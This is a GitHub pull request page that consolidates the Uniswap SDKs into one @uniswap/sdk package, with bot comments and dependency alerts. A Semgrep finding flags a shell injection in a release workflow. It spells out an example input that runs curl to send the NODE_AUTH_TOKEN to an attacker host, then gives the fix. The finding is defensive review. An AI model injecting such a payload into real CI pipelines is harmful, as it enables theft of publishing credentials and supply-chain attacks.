feat(sdk): consolidate all SDKs into unified @uniswap/sdk package by marktoda · Pull Request #484 · Uniswap/sdks

marktoda · 2026-01-08T16:55:19Z

feat(sdk): consolidate all SDKs into unified @uniswap/sdk package

  This is a major architectural change that merges all 11 SDK packages into a single
  unified package with subpath exports, eliminating cascading version bumps.

  BREAKING CHANGE: Import paths have changed

  Before:
    import { Token } from '@uniswap/sdk-core'
    import { Pool } from '@uniswap/v3-sdk'

  After:
    import { Token } from '@uniswap/sdk/core'
    import { Pool } from '@uniswap/sdk/v3'

  Changes:
  - Consolidated sdk-core, v2-sdk, v3-sdk, v4-sdk, router-sdk, universal-router-sdk,
    permit2-sdk, uniswapx-sdk, smart-wallet-sdk, flashtestations-sdk, and
    tamperproof-transactions into sdks/sdk/
  - Added subpath exports for tree-shaking support
  - Updated build tooling from tsdx to tsup
  - Switched test runner from jest to vitest
  - Added unified CI/CD workflow for single-package releases

  Benefits:
  - One change = one version = one release (no more cascading updates)
  - Simpler dependency management for consumers
  - Internal refactoring doesn't trigger releases
  - Modern bundlers tree-shake unused subpaths

✨ Claude-Generated Content

PR Scope

Please title your PR according to the following types and scopes following conventional commits:

fix(SDK name): will trigger a patch version
chore(<type>): will not trigger any release and should be used for internal repo changes
<type>(public): will trigger a patch version for non-code changes (e.g. README changes)
feat(SDK name): will trigger a minor version
feat(breaking): will trigger a major version for a breaking change

Description

Major architectural change that consolidates all 11 SDK packages into a single unified @uniswap/sdk package with subpath exports. This eliminates cascading version bumps when internal dependencies change - one change now results in one version and one release.
BREAKING CHANGE: All import paths have changed from individual package names to subpath exports.

Changes

Consolidated 11 packages into sdks/sdk/:
- sdk-core → @uniswap/sdk/core
- v2-sdk → @uniswap/sdk/v2
- v3-sdk → @uniswap/sdk/v3
- v4-sdk → @uniswap/sdk/v4
- router-sdk → @uniswap/sdk/router
- universal-router-sdk → @uniswap/sdk/universal-router
- permit2-sdk → @uniswap/sdk/permit2
- uniswapx-sdk → @uniswap/sdk/uniswapx
- smart-wallet-sdk → @uniswap/sdk/smart-wallet
- flashtestations-sdk → @uniswap/sdk/flashtestations
- tamperproof-transactions → @uniswap/sdk/tamperproof
Updated build tooling from tsdx to tsup
Switched test runner from Jest to Vitest
Removed git submodules (permit2, universal-router) - now uses npm packages
Added unified CI/CD workflow (unified-sdk-release.yaml)
Removed semantic-release-monorepo in favor of standard semantic-release
Updated workspace configuration to only include sdks/sdk
Added ESLint configuration for the unified SDK

How Has This Been Tested?

Vitest test suite covering all consolidated modules. CI workflow runs tests for the unified SDK.

Are there any breaking changes?

Yes - all import paths change from individual package names to subpath exports:

Before	After
`@uniswap/sdk-core`	`@uniswap/sdk/core`
`@uniswap/v2-sdk`	`@uniswap/sdk/v2`
`@uniswap/v3-sdk`	`@uniswap/sdk/v3`
`@uniswap/v4-sdk`	`@uniswap/sdk/v4`
`@uniswap/router-sdk`	`@uniswap/sdk/router`
`@uniswap/universal-router-sdk`	`@uniswap/sdk/universal-router`
`@uniswap/permit2-sdk`	`@uniswap/sdk/permit2`
`@uniswap/uniswapx-sdk`	`@uniswap/sdk/uniswapx`
`@uniswap/smart-wallet-sdk`	`@uniswap/sdk/smart-wallet`
`@uniswap/flashtestations-sdk`	`@uniswap/sdk/flashtestations`
`@uniswap/tamperproof-transactions`	`@uniswap/sdk/tamperproof`
If there are breaking changes, please ensure you bump the major version (by using the title `feat(breaking): ...`), post a notice in #eng-sdks, and explicitly notify all Uniswap Labs consumers of the SDK.

(Optional) Feedback Focus

Subpath export configuration in package.json
Migration guide for existing consumers
Build/test configuration with tsup and vitest

(Optional) Follow Ups

Migration documentation for existing SDK consumers
Deprecation notices on individual packages pointing to the unified SDK

This is a major architectural change that merges all 11 SDK packages into a single unified package with subpath exports, eliminating cascading version bumps. BREAKING CHANGE: Import paths have changed Before: import { Token } from '@uniswap/sdk-core' import { Pool } from '@uniswap/v3-sdk' After: import { Token } from '@uniswap/sdk/core' import { Pool } from '@uniswap/sdk/v3' Changes: - Consolidated sdk-core, v2-sdk, v3-sdk, v4-sdk, router-sdk, universal-router-sdk, permit2-sdk, uniswapx-sdk, smart-wallet-sdk, flashtestations-sdk, and tamperproof-transactions into sdks/sdk/ - Added subpath exports for tree-shaking support - Created backwards-compatible wrapper packages in sdks/compat/ - Updated build tooling from tsdx to tsup - Switched test runner from jest to vitest - Added unified CI/CD workflow for single-package releases Benefits: - One change = one version = one release (no more cascading updates) - Simpler dependency management for consumers - Internal refactoring doesn't trigger releases - Modern bundlers tree-shake unused subpaths

github-actions · 2026-01-08T16:57:03Z

🤖 Claude PR Metadata Generation

Status: ❌ Error
Job: View workflow run

⚠️ Generation Failed

The automated PR title and description generation encountered an error.

Next Steps:

Check the workflow logs for details
Verify the GitHub Actions configuration
Ensure the Anthropic API key is valid

You can manually set the PR title and description, or re-trigger by pushing a new commit.

semgrep-code-uniswap · 2026-01-08T17:08:40Z

.github/workflows/compat-packages-release.yaml

+      - name: Bump version
+        if: steps.check.outputs.should_release == 'true'
+        working-directory: sdks/compat/${{ matrix.package }}
+        run: npm version ${{ github.event.inputs.version_bump }} --no-git-tag-version


Semgrep identified a blocking 🔴 issue in your code:

User-controlled version_bump input is directly interpolated into a shell command, allowing command injection and potential theft of NPM credentials.

More details about this

The run: step directly interpolates ${{ github.event.inputs.version_bump }} into an npm command without using an intermediate environment variable. Since github.event.inputs is controlled by whoever triggers this workflow, an attacker could inject arbitrary shell commands by setting the version_bump input.

Exploit scenario:

An attacker triggers the workflow (or creates a pull request/issue that triggers it) and sets the version_bump input to a malicious value like 1.0.0; curl https://attacker.com/steal?token=$(echo $NODE_AUTH_TOKEN)

The run: command executes: npm version 1.0.0; curl https://attacker.com/steal?token=$(echo $NODE_AUTH_TOKEN) --no-git-tag-version

The npm version command runs normally, but then the attacker's curl command also executes in the same shell, allowing them to exfiltrate the NODE_AUTH_TOKEN secret (which has NPM registry access)

The attacker can now publish malicious versions of the package using the stolen credentials

This works because the shell interprets the semicolon as a command separator, and the attacker's injected commands run with full access to all secrets and environment variables in the runner.

To resolve this comment:

✨ Commit Assistant fix suggestion

Suggested change

run: npm version ${{ github.event.inputs.version_bump }} --no-git-tag-version

env:

VERSION_BUMP: ${{ github.event.inputs.version_bump }}

run: npm version "$VERSION_BUMP" --no-git-tag-version

View step-by-step instructions

Add an env: section to the "Bump version" step and set a variable such as VERSION_BUMP: ${{ github.event.inputs.version_bump }}.

In the run: command, replace the variable interpolation with the environment variable, referencing it as "$VERSION_BUMP" (inside double-quotes).
The final command should be: npm version "$VERSION_BUMP" --no-git-tag-version.

This change prevents possible code injection attacks by only allowing the environment variable's literal value to be used.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

/fp <comment> for false positive

/ar <comment> for acceptable risk

/other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

_{You can view more details about this finding in the Semgrep AppSec Platform.}

.github/workflows/compat-packages-release.yaml

socket-security · 2026-01-08T17:16:27Z

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Package	Supply Chain Security	Quality
@typescript-eslint/parser@5.62.0 ⏵ 8.52.0		⁺¹
vitest@1.6.1
@types/node@18.19.130 ⏵ 20.19.27	⁺¹	⁺¹
tsup@8.5.1
prettier@1.19.1 ⏵ 3.7.4	^-9	^-1
eslint-plugin-prettier@3.4.1 ⏵ 5.5.4

View full report

socket-security · 2026-01-08T17:16:32Z

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action	Severity	Alert (click "▶" to expand/collapse)
Warn		Obfuscated code: npm `vite` is 91.0% likely obfuscated Confidence: 0.91 Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/vite@5.4.21` ℹ Read more on: This package \| This alert \| What is obfuscated code? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/vite@5.4.21`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Install-time scripts: npm `esbuild` during postinstall Install script: postinstall Source: `node install.js` From: `?` → `npm/vitest@1.6.1` → `npm/esbuild@0.21.5` ℹ Read more on: This package \| This alert \| What is an install script? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should not be running non-essential scripts during install and there are often solutions to problems people solve with install scripts that can be run at publish time instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.21.5`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		System shell access: npm `esbuild` in module child_process Module: child_process Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/esbuild@0.21.5` ℹ Read more on: This package \| This alert \| What is shell access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid accessing the shell which can reduce portability, and make it easier for malicious shell access to be introduced. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.21.5`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		System shell access: npm `esbuild` in module child_process Module: child_process Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/esbuild@0.27.2` ℹ Read more on: This package \| This alert \| What is shell access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid accessing the shell which can reduce portability, and make it easier for malicious shell access to be introduced. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.27.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Install-time scripts: npm `esbuild` during postinstall Install script: postinstall Source: `node install.js` From: `?` → `npm/tsup@8.5.1` → `npm/esbuild@0.27.2` ℹ Read more on: This package \| This alert \| What is an install script? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should not be running non-essential scripts during install and there are often solutions to problems people solve with install scripts that can be run at publish time instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.27.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		System shell access: npm `tinyexec` in module child_process Module: child_process Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/tinyexec@0.3.2` ℹ Read more on: This package \| This alert \| What is shell access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid accessing the shell which can reduce portability, and make it easier for malicious shell access to be introduced. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/tinyexec@0.3.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		System shell access: npm `tinypool` in module child_process Module: child_process Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/tinypool@0.8.4` ℹ Read more on: This package \| This alert \| What is shell access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid accessing the shell which can reduce portability, and make it easier for malicious shell access to be introduced. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/tinypool@0.8.4`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		System shell access: npm `tree-kill` in module child_process Module: child_process Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/tree-kill@1.2.2` ℹ Read more on: This package \| This alert \| What is shell access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid accessing the shell which can reduce portability, and make it easier for malicious shell access to be introduced. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/tree-kill@1.2.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		System shell access: npm `vite` in module child_process Module: child_process Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/vite@5.4.21` ℹ Read more on: This package \| This alert \| What is shell access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid accessing the shell which can reduce portability, and make it easier for malicious shell access to be introduced. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/vite@5.4.21`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `@pkgr/core` Location: Package overview From: `?` → `npm/eslint-plugin-prettier@5.5.4` → `npm/@pkgr/core@0.2.9` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/@pkgr/core@0.2.9`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `bundle-require` with module fs Module: fs Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/bundle-require@5.1.0` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/bundle-require@5.1.0`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `esbuild` with module fs Module: fs Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/esbuild@0.21.5` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.21.5`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `esbuild` Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/esbuild@0.21.5` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.21.5`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `esbuild` with module fs Module: fs Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/esbuild@0.27.2` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.27.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `esbuild` Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/esbuild@0.27.2` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/esbuild@0.27.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `joycon` with module fs Module: fs Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/joycon@3.1.1` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/joycon@3.1.1`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `joycon` Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/joycon@3.1.1` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/joycon@3.1.1`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `lilconfig` with module fs Module: fs Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/lilconfig@3.1.3` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/lilconfig@3.1.3`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `lilconfig` Location: Package overview From: `?` → `npm/tsup@8.5.1` → `npm/lilconfig@3.1.3` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/lilconfig@3.1.3`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `mlly` Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/tsup@8.5.1` → `npm/mlly@1.8.0` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/mlly@1.8.0`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `postcss` with module fs Module: fs Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/postcss@8.5.6` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/postcss@8.5.6`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `tinypool` with module fs Module: fs Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/tinypool@0.8.4` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/tinypool@0.8.4`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `tsup` Location: Package overview From: sdks/sdk/package.json → `npm/tsup@8.5.1` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/tsup@8.5.1`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `tsup` with module fs Module: fs Location: Package overview From: sdks/sdk/package.json → `npm/tsup@8.5.1` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/tsup@8.5.1`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `vite` with module fs Module: fs Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/vite@5.4.21` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/vite@5.4.21`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `vite` Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/vite@5.4.21` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/vite@5.4.21`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Dynamic module loading: npm `vitest` Location: Package overview From: sdks/sdk/package.json → `npm/vitest@1.6.1` ℹ Read more on: This package \| This alert \| What is dynamic require? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should avoid dynamic imports when possible. Audit the use of dynamic require to ensure it is not executing malicious or vulnerable code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/vitest@1.6.1`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.
Warn		Filesystem access: npm `why-is-node-running` with module fs Module: fs Location: Package overview From: `?` → `npm/vitest@1.6.1` → `npm/why-is-node-running@2.3.0` ℹ Read more on: This package \| This alert \| What is filesystem access? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: If a package must read the file system, clarify what it will read and ensure it reads only what it claims to. If appropriate, packages can leave file system access to consumers and operate on data passed to it instead. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/why-is-node-running@2.3.0`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

- Add missing compat packages for @uniswap/flashtestations-sdk and @uniswap/tamperproof-transactions to ensure full backwards compatibility - Add tsconfig.json to all compat packages for proper TypeScript subpath export resolution - Fix CI/CD workflows: - Remove sdks/compat/** trigger from unified-sdk-release.yaml - Add main SDK build step to compat-packages-release.yaml - Update semantic-release.yaml to only trigger on beta branch - Remove submodule checkout from monorepo-checks.yml and monorepo-integrity.yml (no longer needed) - Remove Foundry installation step (tests use vitest, not forge) - Add release pipeline to turbo.json - Migrate remaining jest references to vitest: - txtRecord.test.ts: jest.fn() → vi.fn() - smartWallet.test.ts: jest.spyOn/restoreAllMocks → vi equivalents - verify.test.ts: Complete rewrite with vi.mock() and vi.hoisted() for proper module mocking - Clean up stale .gitmodules (old SDK paths no longer exist) All 12 packages build successfully. All migrated tests pass. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

# Conflicts: # sdks/router-sdk/package.json # sdks/universal-router-sdk/package.json # sdks/universal-router-sdk/test/forge/SwapERC20CallParameters.t.sol # sdks/universal-router-sdk/test/forge/interop.json # sdks/universal-router-sdk/test/forge/utils/DeployRouter.sol # sdks/universal-router-sdk/test/uniswapTrades.test.ts # yarn.lock

Update inline snapshot to reflect new reactor addresses added in main. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

Fix empty test suite errors by properly wrapping expect() calls inside it() blocks instead of directly in describe() blocks. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

